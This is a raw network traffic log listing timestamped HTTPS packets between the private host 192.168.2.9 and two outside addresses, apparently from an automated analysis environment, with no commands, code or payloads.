Oct 21, 2024 13:17:29.200860977 CEST	443	49802	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.200948000 CEST	49802	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.201108932 CEST	49802	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.201122046 CEST	443	49802	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.212963104 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.212987900 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.213032961 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.213051081 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.213077068 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.213260889 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.213278055 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.213293076 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.213298082 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.215492964 CEST	49803	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.215542078 CEST	443	49803	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.215625048 CEST	49803	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.215758085 CEST	49803	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.215790987 CEST	443	49803	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.224776030 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.225265026 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.225330114 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.225356102 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.225375891 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.225388050 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.225397110 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.228796005 CEST	49804	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.228820086 CEST	443	49804	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.229017973 CEST	49804	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.229017973 CEST	49804	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.229042053 CEST	443	49804	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.231904030 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.232055902 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.232125044 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.232158899 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.232176065 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.232187033 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.232192039 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.234142065 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.234193087 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.234276056 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.234503984 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.234518051 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.314032078 CEST	443	49801	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.314059973 CEST	443	49801	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.314102888 CEST	443	49801	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.314121008 CEST	49801	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.314156055 CEST	49801	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.314311028 CEST	49801	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.314311028 CEST	49801	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.314342022 CEST	443	49801	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.314362049 CEST	443	49801	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.317899942 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.317931890 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.318032980 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.318237066 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.318247080 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.554053068 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:29.554063082 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:29.554097891 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:29.554133892 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:29.554152966 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:29.554171085 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:29.554212093 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:29.933461905 CEST	443	49802	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.934545994 CEST	49802	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.934556961 CEST	443	49802	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.934969902 CEST	49802	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.934995890 CEST	443	49802	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.961707115 CEST	443	49804	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.962016106 CEST	443	49803	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.962140083 CEST	49804	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.962157011 CEST	443	49804	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.962513924 CEST	49804	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.962518930 CEST	443	49804	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.962702036 CEST	49803	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.962712049 CEST	443	49803	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.963028908 CEST	49803	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.963033915 CEST	443	49803	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.992459059 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.993093967 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.993109941 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.993525982 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.993530035 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.061521053 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.062061071 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.062074900 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.062484026 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.062490940 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.063787937 CEST	443	49802	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.064188004 CEST	443	49802	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.064276934 CEST	49802	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.064456940 CEST	49802	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.064456940 CEST	49802	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.064462900 CEST	443	49802	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.064471006 CEST	443	49802	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.067234993 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.067245007 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.067327976 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.067471027 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.067482948 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.092621088 CEST	443	49804	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.092685938 CEST	443	49804	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.092739105 CEST	49804	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.092900038 CEST	49804	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.092920065 CEST	443	49804	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.092925072 CEST	49804	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.092930079 CEST	443	49804	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.095673084 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.095701933 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.095777988 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.095915079 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.095928907 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.096565962 CEST	443	49803	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.096618891 CEST	443	49803	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.096661091 CEST	49803	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.096852064 CEST	49803	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.096858978 CEST	443	49803	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.096868038 CEST	49803	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.096872091 CEST	443	49803	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.098943949 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.098954916 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.099045992 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.099138975 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.099148989 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.127136946 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.127207994 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.127259970 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.127346039 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.127367020 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.127374887 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.127386093 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.127480030 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.129514933 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.129544973 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.129620075 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.129751921 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.129761934 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.195646048 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.195708036 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.195755005 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.195945024 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.195961952 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.195976019 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.195982933 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.198494911 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.198519945 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.198597908 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.198755980 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.198770046 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.357841015 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:30.357850075 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:30.357919931 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:30.357937098 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:30.357999086 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:30.815910101 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.832314014 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.833352089 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.866286039 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.881907940 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.882289886 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.882333040 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.897819042 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.897825956 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.898227930 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.898232937 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.905416012 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.905427933 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.905803919 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.905808926 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.909460068 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.909466028 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.913188934 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.913192987 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.920567989 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.920578957 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.924294949 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.924300909 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.931754112 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.934711933 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.934729099 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:30.935055971 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:30.935060024 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.029654026 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.029727936 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.029805899 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.036226034 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.036304951 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.036365032 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.041944981 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.041964054 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.042007923 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.042078018 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.042078018 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.053757906 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.053848982 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.053910017 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.061372042 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.061400890 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.061472893 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.061480045 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.062823057 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.062845945 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.062882900 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.062975883 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.062975883 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.070179939 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.070180893 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.070195913 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.070204973 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.070782900 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.070782900 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.070805073 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.070812941 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.071625948 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.071625948 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.071640015 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.071646929 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.072365046 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.072372913 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.072379112 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.072385073 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.075908899 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.075942993 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.076085091 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.076935053 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.076970100 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.077055931 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.077168941 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.077191114 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.077524900 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.077543974 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.078468084 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.078481913 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.078670025 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.078695059 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.078699112 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.079529047 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.079560995 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.079618931 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.080058098 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.080094099 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.080158949 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.080177069 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.080193043 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.080302954 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.080317974 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.162180901 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:31.162190914 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:31.162230015 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:31.162281990 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:31.162295103 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:31.162452936 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:31.162452936 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:31.697805882 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:31.697840929 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:31.697877884 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:31.697891951 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:31.697925091 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:31.697932005 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:31.697957039 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:31.697987080 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:31.813458920 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.813705921 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.814724922 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.814758062 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.816461086 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.816493988 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.820241928 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.820266962 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.820909977 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.820915937 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.829051018 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.829484940 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.829514980 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.830045938 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.830061913 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.830200911 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.830909014 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.830924034 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.831104040 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.831120014 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.832942963 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.834768057 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.834790945 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.835386992 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.835391998 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.945197105 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.945379019 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.945513964 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.945733070 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.945733070 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.945744991 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.945754051 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.948666096 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.949009895 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.949043989 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.949096918 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.949100018 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.949197054 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.949491024 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.949506998 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.949584007 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.949584007 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.949599028 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.949610949 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.952508926 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.952532053 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.952584982 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.952708006 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.952723026 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.966175079 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.966177940 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.966240883 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.966244936 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.966315031 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.966334105 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.966474056 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.966495037 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.966511011 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.966516018 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.966973066 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.966973066 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.966984987 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.966993093 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.968843937 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.968882084 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.968930960 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.969291925 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.969315052 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.969352007 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.969357014 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.969404936 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.969506979 CEST	49822	443	192.168.2.9	13.107.246.45
